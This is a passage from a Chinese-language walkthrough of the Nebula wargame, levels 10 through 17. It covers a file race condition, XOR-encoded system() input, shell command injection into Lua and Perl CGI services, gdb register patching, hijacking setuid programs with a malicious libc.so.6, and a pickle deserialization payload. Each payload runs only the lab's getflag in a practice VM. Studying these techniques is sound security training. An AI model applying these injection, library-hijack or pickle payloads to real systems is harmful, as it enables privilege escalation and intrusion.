19表示改变文件的执行优先级,范围是-20~19,数字越低,优先级越高,这里把flag10这个程序的优先级变低,这样就可以在access函数执行后、open函数执行前,有机会可以改掉/tmp/token10的指向了。 165 | 166 | 最后看nc的输出结果,就看得到token了: 167 | 168 | #+BEGIN_EXAMPLE 169 | 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 170 | #+END_EXAMPLE 171 | 172 | 这就是flag10的密码,之后登录flag10帐号,执行getflag: 173 | 174 | #+BEGIN_EXAMPLE 175 | level10@nebula:/tmp$ su flag10 176 | Password: 177 | sh-4.2$ getflag 178 | You have successfully executed getflag on a target account 179 | sh-4.2$ 180 | #+END_EXAMPLE 181 | 182 | 参考: 183 | 184 | 1. www.mattandreko.com 185 | -------------------------------------------------------------------------------- /Level11——又一可执行任意文件漏洞.org: -------------------------------------------------------------------------------- 1 | /home/flag11下有一个名叫“flag11”的程序,它存在一个可执行任意文件的漏洞,它的代码如下: 2 | 3 | #+BEGIN_SRC c 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | ,* Return a random, non predictable file, and return the file descriptor for it. 14 | ,*/ 15 | 16 | int getrand(char **path) 17 | { 18 | char *tmp; 19 | int pid; 20 | int fd; 21 | 22 | srandom(time(NULL)); 23 | 24 | tmp = getenv("TEMP"); 25 | pid = getpid(); 26 | 27 | asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 28 | 'A' + (random() % 26), '0' + (random() % 10), 29 | 'a' + (random() % 26), 'A' + (random() % 26), 30 | '0' + (random() % 10), 'a' + (random() % 26)); 31 | 32 | fd = open(*path, O_CREAT|O_RDWR, 0600); 33 | unlink(*path); 34 | return fd; 35 | } 36 | 37 | void process(char *buffer, int length) 38 | { 39 | unsigned int key; 40 | int i; 41 | 42 | key = length & 0xff; 43 | 44 | for(i = 0; i < length; i++) { 45 | buffer[i] ^= key; 46 | key -= buffer[i]; 47 | } 48 | setgid(getgid()); 49 | setuid(getuid()); 50 | system(buffer); 51 | } 52 | 53 | #define CL "Content-Length: " 54 | 55 | int main(int argc, char **argv) 56 | { 57 | char line[256]; 58 | char buf[1024]; 59 | char *mem; 60 | int length; 61 | int fd; 62 | char *path; 63 | 64 | if(fgets(line, sizeof(line), stdin) == NULL) { 65 | errx(1, "reading from stdin"); 66 | } 67 | 68 | if(strncmp(line, CL, strlen(CL)) != 0) { 69 | errx(1, "invalid header"); 70 | } 71 | 72 | length = atoi(line + strlen(CL)); 73 | 74 | if(length < sizeof(buf)) { 75 | if(fread(buf, length, 1, stdin) != length) { 76 | err(1, "fread length"); 77 | } 78 | process(buf, length); 79 | } else { 80 | int blue = length; 81 | int pink; 82 | 83 | fd = getrand(&path); 84 | 85 | while(blue > 0) { 86 | printf("blue = %d, length = %d, ", blue, length); 87 | 88 | pink = fread(buf, 1, sizeof(buf), stdin); 89 | printf("pink = %d\n", pink); 90 | 91 | if(pink <= 0) { 92 | err(1, "fread fail(blue = %d, length = %d)", blue, length); 93 | } 94 | write(fd, buf, pink); 95 | 96 | blue -= pink; 97 | } 98 | 99 | mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); 100 | if(mem == MAP_FAILED) { 101 | err(1, "mmap"); 102 | } 103 | process(mem, length); 104 | } 105 | 106 | } 107 | #+END_SRC 108 | 109 | 面对长串的代码,我们可以从危险函数入手,这里的危险函数是system。它位于process函数中: 110 | 111 | #+BEGIN_SRC c 112 | void process(char *buffer, int length) 113 | { 114 | unsigned int key; 115 | int i; 116 | 117 | key = length & 0xff; 118 | 119 | for(i = 0; i < length; i++) { 120 | buffer[i] ^= key; 121 | key -= buffer[i]; 122 | } 123 | setgid(getgid()); 124 | setuid(getuid()); 125 | system(buffer); 126 | } 127 | 128 | 这里system的参数来自于buffer变量的内容,说明这里可能是可控的,回溯跟踪函数调用,你可以发现,这里确实是可控的。但是,这里有少许复杂,因为在system执行之前,程序对buffer里的数据在执行前做了一次异或运算,所以,buffer缓冲区的数据被改变过了。但是,异或运算的法则是:`a^b=c`,已知`b`和`c`,`b^c`就可以得到`a`。这里也一样:我们把加密后的数据带入这个函数,经过一次异或运算,它就会还原了。对应的加密代码如下: 129 | 130 | #include 131 | #include 132 | 133 | int main(int argc, char *argv[]) 134 | { 135 | int length = 1024; 136 | //要执行的命令 137 | char *cmd = "getflag"; 138 | char buf[1024]; 139 | 140 | int key = length & 0xff; 141 | int i = 0; 142 | 143 | //把“getflag”字符串拷贝到buf里,其余空间空字节填充 144 | strncpy(buf,cmd,1024); 145 | 146 | for(; i /tmp/byLu4nx。整个过程如下: 53 | 54 | #+BEGIN_EXAMPLE 55 | level12@nebula:~$ cd /home/flag12 56 | level12@nebula:/home/flag12$ ls 57 | flag12.lua 58 | level12@nebula:/home/flag12$ lua flag12.lua 59 | local line, err = client:receive()p #看来我们不用执行flag12.lua 60 | stack traceback: 61 | [C]: in function 'assert' 62 | flag12.lua:2: in main chunk 63 | [C]: ? 64 | level12@nebula:/home/flag12$ telnet 127.0.0.1 50001 65 | Trying 127.0.0.1... 66 | Connected to 127.0.0.1. 67 | Escape character is '^]'. 68 | Password: ;/bin/getflag > /tmp/byLu4nx 69 | Better luck next time 70 | Connection closed by foreign host. 71 | level12@nebula:/home/flag12$ cat /tmp/byLu4nx 72 | You have successfully executed getflag on a target account lua: flag12.lua:2: address already in use 73 | #+END_EXAMPLE 74 | -------------------------------------------------------------------------------- /Level13——再次窃取token.org: -------------------------------------------------------------------------------- 1 | 这关还是得突破程序的限制,去读出token的内容。flag13的代码如下: 2 | 3 | #+BEGIN_SRC c -nw 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define FAKEUID 1000 11 | 12 | int main(int argc, char **argv, char **envp) 13 | { 14 | int c; 15 | char token[256]; 16 | 17 | if(getuid() != FAKEUID) { 18 | printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); 19 | printf("The system administrators will be notified of this violation\n"); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | // snip, sorry :) 24 | 25 | printf("your token is %s\n", token); 26 | 27 | } 28 | #+END_SRC 29 | 30 | 注意这句代码: 31 | 32 | #+BEGIN_SRC c 33 | if(getuid() != FAKEUID) 34 | #+END_SRC 35 | 36 | 通过getuid获得当前用户的uid与FAKEUID做比较,FAKEUID是一个宏,值为1000,在代码第7行中定义,如果uid=1000的用户才可以读取token。这里我纳闷了一会儿,通过查阅,得到方法: 37 | 38 | 这儿需要涉及逆向工程的知识。一般函数的返回值存放在eax寄存器里的。getuid调用后,eax寄存器里就是当前用户的uid。直接修改eax的内容即可。 39 | 40 | 用level13登录系统,进入/home/flag13 41 | 42 | #+BEGIN_EXAMPLE 43 | level13@nebula:gdb flag13 #用gdb调试flag13 44 | 45 | (gdb)disassemble main #反汇编main函数 46 | #+END_EXAMPLE 47 | 48 | 看这: 49 | 50 | #+BEGIN_EXAMPLE 51 | 0x080484ef <+43>:call0x80483c0 52 | 0x080484f4 <+48>:cmp$0x3e8,%eax 53 | #+END_EXAMPLE 54 | 55 | 这里就是判断语句了,在cmp $0x3e8,%eax这里下个断点: 56 | 57 | #+BEGIN_EXAMPLE 58 | break *0x080484f4 59 | #+END_EXAMPLE 60 | 61 | 然后执行程序,程序会自动在断点处暂停运行。查看eax寄存器: 62 | 63 | #+BEGIN_EXAMPLE 64 | print $eax 65 | $1 = 1014 66 | #+END_EXAMPLE 67 | 68 | 我们当前用户的uid是1014。接着就是设置eax的值为1000了: 69 | 70 | #+BEGIN_EXAMPLE 71 | set $eax=1000 72 | print $eax 73 | $2 = 1000 74 | #+END_EXAMPLE 75 | 76 | 最后让程序继续运行: 77 | 78 | #+BEGIN_EXAMPLE 79 | continue 80 | #+END_EXAMPLE 81 | 82 | 显示出token: 83 | 84 | #+BEGIN_EXAMPLE 85 | your token is b705702b-76a8-42b0-8844-3adabbe5ac58 86 | #+END_EXAMPLE 87 | 88 | 这个token值就是flag13的密码,试着登录它: 89 | 90 | #+BEGIN_EXAMPLE 91 | level13@nebula:~$ su flag13 92 | Password: 93 | sh-4.2$ getflag 94 | You have successfully executed getflag on a target account 95 | sh-4.2$ (gdb)disassemble mainlevel13@nebula:gdb flag13 96 | #+END_EXAMPLE 97 | -------------------------------------------------------------------------------- /Level14——破解加密程序.org: -------------------------------------------------------------------------------- 1 | 在这关,flag14是一个加密工具,token存储着一段经过flag14加密后的文本。要求根据加密程序的算法解出加密后的token。 2 | 3 | 这里大家第一反应可能是通过逆向分析来摸清程序的算法,但是在决定使用何种方法之前,先看看这个加密工具怎么个运行的: 4 | 5 | #+BEGIN_EXAMPLE 6 | level14@nebula:/home/flag14$ ./flag14 7 | ./flag14 8 | -e Encrypt input 9 | level14@nebula:/home/flag14$ ./flag14 -e 10 | abcde 11 | acegi 12 | #+END_EXAMPLE 13 | 14 | 我输入的是abcde,得到的结果是acegi。再输入123试下: 15 | 16 | #+BEGIN_EXAMPLE 17 | level14@nebula:/home/flag14$ ./flag14 -e 18 | 123 19 | 135 20 | #+END_EXAMPLE 21 | 22 | 仔细看看规律,根据两次输入的结果,我们可以估计到程序大概流程是把输入的内容存放到一个数组里,加密算法就是将数组的每一项内容与它的下标进行相加。这个简单的算法我用Python实现如下: 23 | 24 | #+BEGIN_SRC python 25 | tokenList = ['a','b','c','d','e'] 26 | 27 | for i in range(len(tokenList)): 28 | tokenList[i] = chr(ord(tokenList[i])+i) 29 | print tokenList 30 | #+END_SRC 31 | 32 | 既然知道了算法,就可以不用逆向flag14了,直接可写出对应的解密算法: 33 | 34 | #+BEGIN_SRC python 35 | tokenFile = open('/home/flag14/token','r') 36 | token = tokenFile.read()[:-1] 37 | tokenLength = len(token) 38 | enyToken = '' 39 | 40 | for i in range(tokenLength): 41 | enyToken += chr(ord(token[i])-i) 42 | print enyToken 43 | #+END_SRC 44 | 45 | 之后运行脚本来解密token文件,并将得到的明文用来登录系统: 46 | 47 | #+BEGIN_EXAMPLE 48 | level14@nebula:/tmp$ python level13.py 49 | 8457c118-887c-4e40-a5a6-33a25353165 50 | 51 | level14@nebula:/tmp$ su flag14 52 | Password: 53 | sh-4.2$ getflag 54 | You have successfully executed getflag on a target account 55 | sh-4.2$ 56 | #+END_EXAMPLE 57 | -------------------------------------------------------------------------------- /Level15——动态链接库劫持.org: -------------------------------------------------------------------------------- 1 | 进入到/home/flag15中,可以发现目录下的flag15文件: 2 | 3 | #+BEGIN_EXAMPLE 4 | -rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15* 5 | #+END_EXAMPLE 6 | 7 | 根据题目的要求,我们需要用strace命令观察flag15的系统调用情况,然后根据它调用的动态链接库来劫持它。 8 | 9 | strace命令可跟踪一个程序的系统调用,如果strace后面只跟文件名作为参数,strace就显示出整个程序运作时的系统调用情况,以及调用的结果。执行: 10 | 11 | #+BEGIN_EXAMPLE 12 | strace ./flag15 13 | #+END_EXAMPLE 14 | 15 | 输出如下: 16 | 17 | #+BEGIN_EXAMPLE 18 | execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0 19 | brk(0) = 0x9446000 20 | access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 21 | mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77d1000 22 | access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) 23 | open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 24 | stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 25 | open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 26 | stat64("/var/tmp/flag15/tls/i686/sse2", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 27 | open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 28 | stat64("/var/tmp/flag15/tls/i686/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 29 | open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 30 | stat64("/var/tmp/flag15/tls/i686", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 31 | open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 32 | stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 33 | open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 34 | stat64("/var/tmp/flag15/tls/sse2", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 35 | open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 36 | stat64("/var/tmp/flag15/tls/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 37 | open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 38 | stat64("/var/tmp/flag15/tls", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 39 | open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 40 | stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 41 | open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 42 | stat64("/var/tmp/flag15/i686/sse2", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 43 | open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 44 | stat64("/var/tmp/flag15/i686/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 45 | open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 46 | stat64("/var/tmp/flag15/i686", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 47 | open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 48 | stat64("/var/tmp/flag15/sse2/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 49 | open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 50 | stat64("/var/tmp/flag15/sse2", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 51 | open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 52 | stat64("/var/tmp/flag15/cmov", 0xbff5d8b4) = -1 ENOENT (No such file or directory) 53 | open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 54 | stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 55 | open("/etc/ld.so.cache", O_RDONLY) = 3 56 | fstat64(3, {st_mode=S_IFREG|0644, st_size=19474, ...}) = 0 57 | mmap2(NULL, 19474, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77cc000 58 | close(3) = 0 59 | access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 60 | open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 61 | read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512 62 | fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 63 | mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x59d000 64 | mmap2(0x713000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x713000 65 | mmap2(0x716000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x716000 66 | close(3) = 0 67 | mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77cb000 68 | set_thread_area({entry_number:-1 -> 6, base_addr:0xb77cb8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 69 | mprotect(0x713000, 8192, PROT_READ) = 0 70 | mprotect(0x8049000, 4096, PROT_READ) = 0 71 | mprotect(0x2a6000, 4096, PROT_READ) = 0 72 | munmap(0xb77cc000, 19474) = 0 73 | fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 74 | mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77d0000 75 | write(1, "strace it!\n", 11strace it! 76 | ) = 11 77 | exit_group(11) = ? 78 | #+END_EXAMPLE 79 | 80 | 整个过程都是在调用一个叫libc.so.6的动态链接库。我随便找到这句: 81 | 82 | #+BEGIN_EXAMPLE 83 | open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) 84 | #+END_EXAMPLE 85 | 86 | 提示:libc.so.6(No such file or directory)。既然没有找到libc.so.6,我们就创建一个让它找到:) 87 | 88 | 所以,我们的方法是,自己写一个有恶意指令的libc.so.6出来,当flag15调用libc.so.6时,完成劫持操作。 89 | 90 | 在这之前,需要了解下Linux动态链接库的一点预备知识,Linux里动态链接库的文件名是以“.so.版本”号结尾的,如:libc.so.6。当要调用动态链接库时,先用dlopen函数打开它。之后动态链接库的入口函数首先得到执行,在Win32编程中,DLL的入口函数是DllMain(好久没搞Windows编程了,如果没有记错的话),Linux的动态链接库的入口是_init。看到这里,希望你能有点头目了——重写_init函数。实际上_init函数是不可以拿给你“重载”的。不信你可以试一试写个_init函数覆盖它,保证会出错,_init函数是在gcc命令编译时自动加入的,主要做一些全局变量之类的初始化操作。但是,办法还是有的,通过__attribute ((constructor)),这是gcc的一个特性,可以让程序在执行_init函数之前,就先执行带有__attribute ((constructor))的函数,如: 91 | 92 | 93 | #+BEGIN_SRC c 94 | __attribute ((constructor)) void init(void) 95 | { 96 | printf("hello world\n"); 97 | } 98 | #+END_SRC 99 | 100 | 这样,在_init执行之前,这里我们自定义的init函数就被执行了。利用这种方法,我们就用可以构造一个恶意的libc.so.6。 101 | 102 | 在/var/tmp/里mkdir一个flag15,并在这目录下touch libc.c,libc.c的代码如下: 103 | 104 | #+BEGIN_SRC c 105 | #include 106 | 107 | void __attribute__((constructor)) init() 108 | { 109 | system("/bin/getflag"); 110 | } 111 | 112 | #+END_SRC 113 | 114 | 然后编译: 115 | 116 | #+BEGIN_EXAMPLE 117 | gcc -fpic -shared libc.c -o libc.so.6 118 | #+END_EXAMPLE 119 | 120 | 到/home/flag15下执行./flag15,提示: 121 | 122 | #+BEGIN_EXAMPLE 123 | ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15) 124 | ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) 125 | ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) 126 | ./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference 127 | 128 | #+END_EXAMPLE 129 | 130 | 出现symbol __cxa_finalize,说明我们还需要定义一个__cxa_finalize函数;出现: 131 | 132 | #+BEGIN_EXAMPLE 133 | version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference 134 | #+END_EXAMPLE 135 | 136 | 说明glibc的版本有问题。 137 | 138 | 修改libc.c代码如下: 139 | 140 | #+BEGIN_SRC c 141 | #include 142 | 143 | void __cxa_finalize(void) 144 | { 145 | return; 146 | } 147 | 148 | void __attribute__((constructor)) init() 149 | { 150 | system("/bin/getflag"); 151 | } 152 | #+END_SRC 153 | 154 | 再编译一次: 155 | 156 | #+BEGIN_EXAMPLE 157 | gcc -fpic -shared -nostdlib libc.c -o libc.so.6 158 | #+END_EXAMPLE 159 | 160 | 加上-nostdlib就可以消除“version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference”提示。执行flag15,提示如下: 161 | 162 | #+BEGIN_EXAMPLE 163 | ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15) 164 | ./flag15: symbol lookup error: /var/tmp/flag15/libc.so.6: undefined symbol: system 165 | #+END_EXAMPLE 166 | 167 | 看来不用标准库,system函数不行啊,这里我参考了下 http://uberskill.blogspot.com/2012/09/nebula-level15.html ,用汇编语言自己实现了一个system函数了。在/var/tmp/flag15下touch一个system.s,内容如下: 168 | 169 | #+BEGIN_SRC asm 170 | .section .text 171 | .globl system 172 | system: 173 | 174 | mov $getflag, %ebx 175 | xor %edx, %edx #异或清空edx,作为空参数 176 | push %edx 177 | push %ebx 178 | mov %esp, %ecx 179 | mov $11, %eax #调用execve中断 180 | int $0x80 181 | 182 | .section .data 183 | getflag: .ascii "/bin/getflag\0" #注意字符串一定要空字符结尾,以及这里需要提供getflag的绝对路径 184 | #+END_SRC 185 | 186 | 修改下libc.c的代码: 187 | 188 | #+BEGIN_SRC c 189 | #include 190 | 191 | void system(void); 192 | 193 | void __cxa_finalize(void) 194 | { 195 | return; 196 | } 197 | 198 | void __attribute__((constructor)) init() 199 | { 200 | system(); 201 | } 202 | #+END_SRC 203 | 204 | 再来编译: 205 | 206 | #+BEGIN_EXAMPLE 207 | gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c system.s 208 | #+END_EXAMPLE 209 | 210 | 最后执行flag15: 211 | 212 | #+BEGIN_EXAMPLE 213 | level15@nebula:/home/flag15$ ./flag15 214 | ./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15) 215 | You have successfully executed getflag on a target account 216 | #+END_EXAMPLE 217 | 218 | 这时说明成功劫持了动态链接库的调用。个人认为这道题目很经典,因为它加载动态链接库时,用字符串作为参数(就是动态链接库的文件名)、且不检查对象是否正确,这个安全问题已经在Level10表现得淋漓尽致了,同样,这里也再次证实了这个问题。 219 | 220 | 参考: 221 | 222 | 1. http://uberskill.blogspot.com/2012/09/nebula-level15.html 223 | 224 | 2. http://chrismeyers.org/2012/05/01/nebula-level-15/ 225 | -------------------------------------------------------------------------------- /Level16——再战Perl脚本可执行任意文件漏洞.org: -------------------------------------------------------------------------------- 1 | 这关给了一个Perl写的CGI程序,根据thttpd.conf的配置可知该CGI程序监听的 2 | 1616端口。在虚拟机畅通的情况下直接通过 3 | http://192.168.56.101:1616/index.cgi 访问(192.168.56.101是我自己配置的IP地址,读者需要自己配置)。 4 | 5 | index.cgi的代码如下: 6 | 7 | #+BEGIN_SRC perl 8 | #!/usr/bin/env perl 9 | 10 | use CGI qw{param}; 11 | 12 | print "Content-type: text/html\n\n"; 13 | 14 | sub login { 15 | $username = $_[0]; 16 | $password = $_[1]; 17 | 18 | $username =~ tr/a-z/A-Z/; # conver to uppercase 19 | $username =~ s/\s.*//; # strip everything after a space 20 | 21 | @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; 22 | foreach $line (@output) { 23 | ($usr, $pw) = split(/:/, $line); 24 | 25 | if($pw =~ $password) { 26 | return 1; 27 | } 28 | } 29 | 30 | return 0; 31 | } 32 | 33 | sub htmlz { 34 | print("Login resuls"); 35 | if($_[0] == 1) { 36 | print("Your login was accepted
"); 37 | } else { 38 | print("Your login failed
"); 39 | } 40 | print("Would you like a cookie?

\n"); 41 | } 42 | 43 | htmlz(login(param("username"), param("password"))); 44 | #+END_SRC 45 | 46 | 这段脚本实现了一个简单的登录认证,先接受GET传来的username和password参数,然后将参数中的英文转换成大写,接着再过滤掉空格,最后通过调用外部shell命令egrep进行判断(代码第14行),并把结果存储到数组@output中,再遍历数组,进行判断。 47 | 48 | 问题就出在它又是调用了外部shell命令来完成的,并且$username参数是由我们可以控制的。但是,代码第11行将参数的字母全部转换成大写了的,Linux下文件名是区分大小写的,也就是,要在执行命令的时候,需要想办法把username重新转换成小写。不过,shell自带了这样的功能,我们可以做个实验: 49 | 50 | #+BEGIN_EXAMPLE 51 | lu4nx:~$by=LU4NX 52 | lu4nx:~$echo ${by,,} 53 | lu4nx 54 | #+END_EXAMPLE 55 | 56 | 用“${变量名,,}”即可转换成小写。 57 | 58 | 由于egrep后面有了引号,如果我们注入命令,需要闭合引号。并且egrep需要有输入,我们就用/dev/null。那么,我构造的注入语句如下: 59 | 60 | #+BEGIN_EXAMPLE 61 | " /tmp/getflag16 70 | #+END_SRC 71 | 72 | 这个脚本完成将getflag的执行结果输出到getflag16这个文件中的功能。 73 | 74 | 注入这条语句之后,在egrep执行后,就执行/tmp/level16脚本了。一定要记得最后要一个注释符“#”,是为了注释掉/home/flag16/userdb.txt 2>&1,并且在注释符之前一定要有个“;”,因为在shell注释符前需要一个空格,比如echo #;如果和命令紧凑在一起,就会解析成文件名,如echo#就会出错。但是程序在带入egrep之前,过滤了空格的,这里就不可以用空格了,所以只有用“;”来分割命令。 75 | 76 | 最后,我写了一个HTML代码来提交Payload: 77 | 78 | #+BEGIN_SRC html 79 | 80 | test 81 | 82 | 83 |
84 | username:
85 | password:
86 | 87 |
88 | 89 | 90 | 91 | #+END_SRC 92 | 93 | 在username中输入刚才构造的语句,password中任意输入。提交之后,我们到虚拟机中看看执行结果: 94 | 95 | #+BEGIN_EXAMPLE 96 | level16@nebula:/tmp$ cd /tmp/ 97 | level16@nebula:/tmp$ cat getflag16 98 | You have successfully executed getflag on a target account 99 | level16@nebula:/tmp$ 100 | #+END_EXAMPLE 101 | 102 | 参考: 103 | 104 | 1. http://uberskill.blogspot.com/2012/09/nebula-level16.html 105 | -------------------------------------------------------------------------------- /Level17——Python的pickle格式可执行脚本漏洞.org: -------------------------------------------------------------------------------- 1 | 这是关要求分析一个有漏洞的Python脚本。在这关里,我们将看到Python的pickle库涉及的一个严重安全问题。首先看看这关给出的代码: 2 | 3 | #+BEGIN_SRC python 4 | #!/usr/bin/python 5 | 6 | import os 7 | import pickle 8 | import time 9 | import socket 10 | import signal 11 | 12 | signal.signal(signal.SIGCHLD, signal.SIG_IGN) 13 | 14 | def server(skt): 15 | line = skt.recv(1024) 16 | 17 | obj = pickle.loads(line) 18 | 19 | for i in obj: 20 | clnt.send("why did you send me " + i + "?\n") 21 | 22 | 23 | skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 24 | skt.bind(('0.0.0.0', 10007)) 25 | skt.listen(10) 26 | 27 | while True: 28 | clnt, addr = skt.accept() 29 | 30 | if(os.fork() == 0): 31 | clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) 32 | server(clnt) 33 | exit(1) 34 | #+END_SRC 35 | 36 | 脚本首先建立socket的监听,监听端口10007,然后接受来自客户端的连接,并将客户端发送的数据使用pickle.loads处理。 37 | 38 | 要想通关,必须首先了解一下pickle,pickle‎在python中可以用来持久存储对象。就是把对象按照一定的格式保存在文件中,在另外的脚本中使用pickle.load或者pickle.loads即可重新使用这些对象,load和loads函数不同之处是load处理存储在文件里的pickle格式数据,loads则是处理字符串表达的pickle格式的数据。 39 | 40 | 做一个例子,a.py脚本如下: 41 | 42 | #+BEGIN_SRC python 43 | by = 'lu4nx' 44 | import pickle 45 | f = open('/tmp/lx','w') 46 | pickle.dump(by,f) 47 | #+END_SRC 48 | 49 | 执行之后,/tmp目录下多出个lx,内容如下: 50 | 51 | #+BEGIN_EXAMPLE 52 | lu4nx:tmp$cat lx 53 | S'lu4nx' 54 | p0 55 | #+END_EXAMPLE 56 | 57 | 再看b.py的内容: 58 | 59 | #+BEGIN_SRC python 60 | f = open('/tmp/lx') 61 | import pickle 62 | a = pickle.load(f) 63 | print a 64 | #+END_SRC 65 | 66 | 执行之后,输出lu4nx。现在来分析一下/tmp/lx: 67 | 68 | #+BEGIN_EXAMPLE 69 | S'lu4nx' 70 | p0 71 | #+END_EXAMPLE 72 | 73 | 我看了pickle这个标准库的源码,似乎它是用栈的概念来解析操作码的,比如: 74 | 75 | S'字符串',源码中的解释是:Push a Python string object。这里我们理解成生成一个字符串即可。 76 | 同样,p操作符的解释是:Store the stack top into the memo. The stack is not popped(压入栈顶?) 77 | 78 | 大家若是有兴趣的,可以看看pickletools.py的源码,我对它只是理解迷迷糊糊的,但是不影响我通过这关。反正,利用pickle的操作码,我们足以构造一个“shellcode”。我这里给出最主要的操作码: 79 | 80 | 想要使用模块,则用操作码c,比如这关要使用到os模块,则:cos;如果要使用python内置函数,则是:c__builtin__。 81 | 想要使用一个字符串,则S'字符串' 82 | 想要把参数带入“栈”中调用函数,则(S'参数',官方叫它MARK对象 83 | t操作码则是从栈顶开始弹出所有值,包括MARK对象。 84 | R则pop栈顶两项内容(不太明白) 85 | 最后,”."代表pickle结束标志。 86 | 87 | 我个人理解pickle调用函数的方式是:导入模块 -> 调用函数 -> 存储参数 -> pop值和MARK对象(执行),对应的代码如下: 88 | 89 | #+BEGIN_EXAMPLE 90 | cos 91 | system 92 | (S'ps' 93 | tR. 94 | #+END_EXAMPLE 95 | 96 | 如果我把上方代码保存到/tmp/lx中,那么b.py就会执行: 97 | 98 | #+BEGIN_SRC python 99 | import os 100 | os.system('ps') 101 | #+END_SRC 102 | 103 | 继续返回到关卡的代码中,我们可以看到代码的流程是: 104 | 105 | 首先建立监听 -> 客户端发送请求 -> 接受请求 -> 调用server函数 -> server函数中把收到的数据存储到line变量中 -> 之后pickle.loads。 106 | 107 | 前面说到过,loads接受来自字符串的pickle格式,如: 108 | 109 | #+BEGIN_SRC python 110 | 